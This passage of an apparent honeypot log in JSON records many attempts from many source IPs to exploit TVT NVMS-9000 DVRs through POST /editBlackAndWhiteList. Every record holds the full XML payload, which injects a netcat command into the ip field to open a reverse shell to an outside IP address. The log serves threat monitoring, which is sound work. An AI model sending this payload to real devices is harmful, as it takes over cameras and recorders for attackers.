  2762.       "source_ip_address": "37.230.157.186",
  2763.       "country": "RU",
  2764.       "user_agent": "Help",
  2765.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2766.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2767.       "target_port": 80,
  2768.       "protocol": "tcp",
  2769.       "tags": [
  2770.         {
  2771.           "cve": "",
  2772.           "category": "IoT",
  2773.           "description": "TVT (Generic OEM) DVR RCE"
  2774.         }
  2775.       ],
  2776.       "event_count": 44,
  2777.       "first_seen": "2019-12-18T19:39:05Z",
  2778.       "last_seen": "2019-12-22T17:58:38Z"
  2779.     },
  2780.     {
  2781.       "source_ip_address": "173.12.220.213",
  2782.       "country": "US",
  2783.       "user_agent": "Help",
  2784.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2785.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2786.       "target_port": 88,
  2787.       "protocol": "tcp",
  2788.       "tags": [
  2789.         {
  2790.           "cve": "",
  2791.           "category": "IoT",
  2792.           "description": "TVT (Generic OEM) DVR RCE"
  2793.         }
  2794.       ],
  2795.       "event_count": 1,
  2796.       "first_seen": "2019-12-22T17:50:25Z",
  2797.       "last_seen": "2019-12-22T17:50:25Z"
  2798.     },
  2799.     {
  2800.       "source_ip_address": "122.116.28.86",
  2801.       "country": "TW",
  2802.       "user_agent": "Help",
  2803.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2804.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2805.       "target_port": 88,
  2806.       "protocol": "tcp",
  2807.       "tags": [
  2808.         {
  2809.           "cve": "",
  2810.           "category": "IoT",
  2811.           "description": "TVT (Generic OEM) DVR RCE"
  2812.         }
  2813.       ],
  2814.       "event_count": 1,
  2815.       "first_seen": "2019-12-22T17:18:17Z",
  2816.       "last_seen": "2019-12-22T17:18:17Z"
  2817.     },
  2818.     {
  2819.       "source_ip_address": "178.164.180.174",
  2820.       "country": "HU",
  2821.       "user_agent": "Help",
  2822.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2823.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2824.       "target_port": 8000,
  2825.       "protocol": "tcp",
  2826.       "tags": [
  2827.         {
  2828.           "cve": "",
  2829.           "category": "IoT",
  2830.           "description": "TVT (Generic OEM) DVR RCE"
  2831.         }
  2832.       ],
  2833.       "event_count": 5,
  2834.       "first_seen": "2019-12-22T17:12:16Z",
  2835.       "last_seen": "2019-12-22T17:12:16Z"
  2836.     },
  2837.     {
  2838.       "source_ip_address": "73.175.251.32",
  2839.       "country": "US",
  2840.       "user_agent": "Help",
  2841.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2842.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2843.       "target_port": 88,
  2844.       "protocol": "tcp",
  2845.       "tags": [
  2846.         {
  2847.           "cve": "",
  2848.           "category": "IoT",
  2849.           "description": "TVT (Generic OEM) DVR RCE"
  2850.         }
  2851.       ],
  2852.       "event_count": 1,
  2853.       "first_seen": "2019-12-22T17:09:44Z",
  2854.       "last_seen": "2019-12-22T17:09:44Z"
  2855.     },
  2856.     {
  2857.       "source_ip_address": "50.233.0.106",
  2858.       "country": "US",
  2859.       "user_agent": "Help",
  2860.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2861.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2862.       "target_port": 8080,
  2863.       "protocol": "tcp",
  2864.       "tags": [
  2865.         {
  2866.           "cve": "",
  2867.           "category": "IoT",
  2868.           "description": "TVT (Generic OEM) DVR RCE"
  2869.         }
  2870.       ],
  2871.       "event_count": 6,
  2872.       "first_seen": "2019-12-22T16:58:03Z",
  2873.       "last_seen": "2019-12-22T16:58:03Z"
  2874.     },
  2875.     {
  2876.       "source_ip_address": "73.205.75.142",
  2877.       "country": "US",
  2878.       "user_agent": "Help",
  2879.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2880.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2881.       "target_port": 88,
  2882.       "protocol": "tcp",
  2883.       "tags": [
  2884.         {
  2885.           "cve": "",
  2886.           "category": "IoT",
  2887.           "description": "TVT (Generic OEM) DVR RCE"
  2888.         }
  2889.       ],
  2890.       "event_count": 1,
  2891.       "first_seen": "2019-12-22T16:52:45Z",
  2892.       "last_seen": "2019-12-22T16:52:45Z"
  2893.     },
  2894.     {
  2895.       "source_ip_address": "187.145.214.142",
  2896.       "country": "MX",
  2897.       "user_agent": "Help",
  2898.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2899.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2900.       "target_port": 80,
  2901.       "protocol": "tcp",
  2902.       "tags": [
  2903.         {
  2904.           "cve": "",
  2905.           "category": "IoT",
  2906.           "description": "TVT (Generic OEM) DVR RCE"
  2907.         }
  2908.       ],
  2909.       "event_count": 1,
  2910.       "first_seen": "2019-12-22T16:40:22Z",
  2911.       "last_seen": "2019-12-22T16:40:22Z"
  2912.     },
  2913.     {
  2914.       "source_ip_address": "122.116.161.146",
  2915.       "country": "TW",
  2916.       "user_agent": "Help",
  2917.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2918.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2919.       "target_port": 88,
  2920.       "protocol": "tcp",
  2921.       "tags": [
  2922.         {
  2923.           "cve": "",
  2924.           "category": "IoT",
  2925.           "description": "TVT (Generic OEM) DVR RCE"
  2926.         }
  2927.       ],
  2928.       "event_count": 10,
  2929.       "first_seen": "2019-12-20T06:25:22Z",
  2930.       "last_seen": "2019-12-22T15:56:00Z"
  2931.     },
  2932.     {
  2933.       "source_ip_address": "114.32.8.15",
  2934.       "country": "TW",
  2935.       "user_agent": "Help",
  2936.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2937.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2938.       "target_port": 80,
  2939.       "protocol": "tcp",
  2940.       "tags": [
  2941.         {
  2942.           "cve": "",
  2943.           "category": "IoT",
  2944.           "description": "TVT (Generic OEM) DVR RCE"
  2945.         }
  2946.       ],
  2947.       "event_count": 1,
  2948.       "first_seen": "2019-12-22T15:45:56Z",
  2949.       "last_seen": "2019-12-22T15:45:56Z"
  2950.     },
  2951.     {
  2952.       "source_ip_address": "1.34.82.230",
  2953.       "country": "TW",
  2954.       "user_agent": "Help",
  2955.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2956.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2957.       "target_port": 81,
  2958.       "protocol": "tcp",
  2959.       "tags": [
  2960.         {
  2961.           "cve": "",
  2962.           "category": "IoT",
  2963.           "description": "TVT (Generic OEM) DVR RCE"
  2964.         }
  2965.       ],
  2966.       "event_count": 50,
  2967.       "first_seen": "2019-12-22T15:45:07Z",
  2968.       "last_seen": "2019-12-22T15:45:07Z"
  2969.     },
  2970.     {
  2971.       "source_ip_address": "118.101.108.37",
  2972.       "country": "MY",
  2973.       "user_agent": "Help",
  2974.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2975.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2976.       "target_port": 81,
  2977.       "protocol": "tcp",
  2978.       "tags": [
  2979.         {
  2980.           "cve": "",
  2981.           "category": "IoT",
  2982.           "description": "TVT (Generic OEM) DVR RCE"
  2983.         }
  2984.       ],
  2985.       "event_count": 7,
  2986.       "first_seen": "2019-12-22T15:29:27Z",
  2987.       "last_seen": "2019-12-22T15:29:27Z"
  2988.     },
  2989.     {
  2990.       "source_ip_address": "51.37.250.63",
  2991.       "country": "IE",
  2992.       "user_agent": "Help",
  2993.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2994.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2995.       "target_port": 80,
  2996.       "protocol": "tcp",
  2997.       "tags": [
  2998.         {
  2999.           "cve": "",
  3000.           "category": "IoT",
  3001.           "description": "TVT (Generic OEM) DVR RCE"
  3002.         }
  3003.       ],
  3004.       "event_count": 4,
  3005.       "first_seen": "2019-12-22T14:57:09Z",
  3006.       "last_seen": "2019-12-22T14:57:09Z"
  3007.     },
  3008.     {
  3009.       "source_ip_address": "62.28.99.1",
  3010.       "country": "PT",
  3011.       "user_agent": "Help",
  3012.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3013.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3014.       "target_port": 8000,
  3015.       "protocol": "tcp",
  3016.       "tags": [
  3017.         {
  3018.           "cve": "",
  3019.           "category": "IoT",
  3020.           "description": "TVT (Generic OEM) DVR RCE"
  3021.         }
  3022.       ],
  3023.       "event_count": 5,
  3024.       "first_seen": "2019-12-22T14:55:43Z",
  3025.       "last_seen": "2019-12-22T14:55:43Z"
  3026.     },
  3027.     {
  3028.       "source_ip_address": "190.47.187.23",
  3029.       "country": "CL",
  3030.       "user_agent": "Help",
  3031.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3032.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3033.       "target_port": 8080,
  3034.       "protocol": "tcp",
  3035.       "tags": [
  3036.         {
  3037.           "cve": "",
  3038.           "category": "IoT",
  3039.           "description": "TVT (Generic OEM) DVR RCE"
  3040.         }
  3041.       ],
  3042.       "event_count": 7,
  3043.       "first_seen": "2019-12-22T14:45:34Z",
  3044.       "last_seen": "2019-12-22T14:45:34Z"
  3045.     },
  3046.     {
  3047.       "source_ip_address": "49.213.189.67",
  3048.       "country": "TW",
  3049.       "user_agent": "Help",
  3050.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3051.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3052.       "target_port": 81,
  3053.       "protocol": "tcp",
  3054.       "tags": [
  3055.         {
  3056.           "cve": "",
  3057.           "category": "IoT",
  3058.           "description": "TVT (Generic OEM) DVR RCE"
  3059.         }
  3060.       ],
  3061.       "event_count": 57,
  3062.       "first_seen": "2019-12-22T14:38:37Z",
  3063.       "last_seen": "2019-12-22T14:38:37Z"
  3064.     },
  3065.     {
  3066.       "source_ip_address": "122.100.65.80",
  3067.       "country": "TW",
  3068.       "user_agent": "Help",
  3069.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3070.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3071.       "target_port": 8080,
  3072.       "protocol": "tcp",
  3073.       "tags": [
  3074.         {
  3075.           "cve": "",
  3076.           "category": "IoT",
  3077.           "description": "TVT (Generic OEM) DVR RCE"
  3078.         }
  3079.       ],
  3080.       "event_count": 3,
  3081.       "first_seen": "2019-12-22T14:29:05Z",
  3082.       "last_seen": "2019-12-22T14:29:05Z"
  3083.     },
  3084.     {
  3085.       "source_ip_address": "220.134.143.246",
  3086.       "country": "TW",
  3087.       "user_agent": "Help",
  3088.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3089.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3090.       "target_port": 8080,
  3091.       "protocol": "tcp",
  3092.       "tags": [
  3093.         {
  3094.           "cve": "",
  3095.           "category": "IoT",
  3096.           "description": "TVT (Generic OEM) DVR RCE"
  3097.         }
  3098.       ],
  3099.       "event_count": 2,
  3100.       "first_seen": "2019-12-22T14:18:44Z",
  3101.       "last_seen": "2019-12-22T14:18:44Z"
  3102.     },
  3103.     {
  3104.       "source_ip_address": "121.150.157.123",
  3105.       "country": "KR",
  3106.       "user_agent": "Help",
  3107.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3108.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3109.       "target_port": 88,
  3110.       "protocol": "tcp",
  3111.       "tags": [
  3112.         {
  3113.           "cve": "",
  3114.           "category": "IoT",
  3115.           "description": "TVT (Generic OEM) DVR RCE"
  3116.         }
  3117.       ],
  3118.       "event_count": 1,
  3119.       "first_seen": "2019-12-22T13:13:36Z",
  3120.       "last_seen": "2019-12-22T13:13:36Z"
  3121.     },
  3122.     {
  3123.       "source_ip_address": "211.220.118.57",
  3124.       "country": "KR",
  3125.       "user_agent": "Help",
  3126.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3127.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3128.       "target_port": 80,
  3129.       "protocol": "tcp",
  3130.       "tags": [
  3131.         {
  3132.           "cve": "",
  3133.           "category": "IoT",
  3134.           "description": "TVT (Generic OEM) DVR RCE"
  3135.         }
  3136.       ],
  3137.       "event_count": 1,
  3138.       "first_seen": "2019-12-22T13:07:18Z",
  3139.       "last_seen": "2019-12-22T13:07:18Z"
  3140.     },
  3141.     {
  3142.       "source_ip_address": "2.55.103.238",
  3143.       "country": "IL",
  3144.       "user_agent": "Help",
  3145.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3146.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3147.       "target_port": 80,
  3148.       "protocol": "tcp",
  3149.       "tags": [
  3150.         {
  3151.           "cve": "",
  3152.           "category": "IoT",
  3153.           "description": "TVT (Generic OEM) DVR RCE"
  3154.         }
  3155.       ],
  3156.       "event_count": 1,
  3157.       "first_seen": "2019-12-22T13:02:29Z",
  3158.       "last_seen": "2019-12-22T13:02:29Z"
  3159.     },
  3160.     {
  3161.       "source_ip_address": "14.242.81.112",
  3162.       "country": "VN",
  3163.       "user_agent": "Help",
  3164.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3165.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3166.       "target_port": 8000,
  3167.       "protocol": "tcp",
  3168.       "tags": [
  3169.         {
  3170.           "cve": "",
  3171.           "category": "IoT",
  3172.           "description": "TVT (Generic OEM) DVR RCE"
  3173.         }
  3174.       ],
  3175.       "event_count": 2,
  3176.       "first_seen": "2019-12-22T12:54:22Z",
  3177.       "last_seen": "2019-12-22T12:54:22Z"
  3178.     },
  3179.     {
  3180.       "source_ip_address": "189.144.40.61",
  3181.       "country": "MX",
  3182.       "user_agent": "Help",
  3183.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3184.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3185.       "target_port": 8080,
  3186.       "protocol": "tcp",
  3187.       "tags": [
  3188.         {
  3189.           "cve": "",
  3190.           "category": "IoT",
  3191.           "description": "TVT (Generic OEM) DVR RCE"
  3192.         }
  3193.       ],
  3194.       "event_count": 1,
  3195.       "first_seen": "2019-12-22T12:45:33Z",
  3196.       "last_seen": "2019-12-22T12:45:33Z"
  3197.     },
  3198.     {
  3199.       "source_ip_address": "124.111.117.196",
  3200.       "country": "KR",
  3201.       "user_agent": "Help",
  3202.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3203.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3204.       "target_port": 81,
  3205.       "protocol": "tcp",
  3206.       "tags": [
  3207.         {
  3208.           "cve": "",
  3209.           "category": "IoT",
  3210.           "description": "TVT (Generic OEM) DVR RCE"
  3211.         }
  3212.       ],
  3213.       "event_count": 71,
  3214.       "first_seen": "2019-12-22T12:15:47Z",
  3215.       "last_seen": "2019-12-22T12:15:47Z"
  3216.     },
  3217.     {
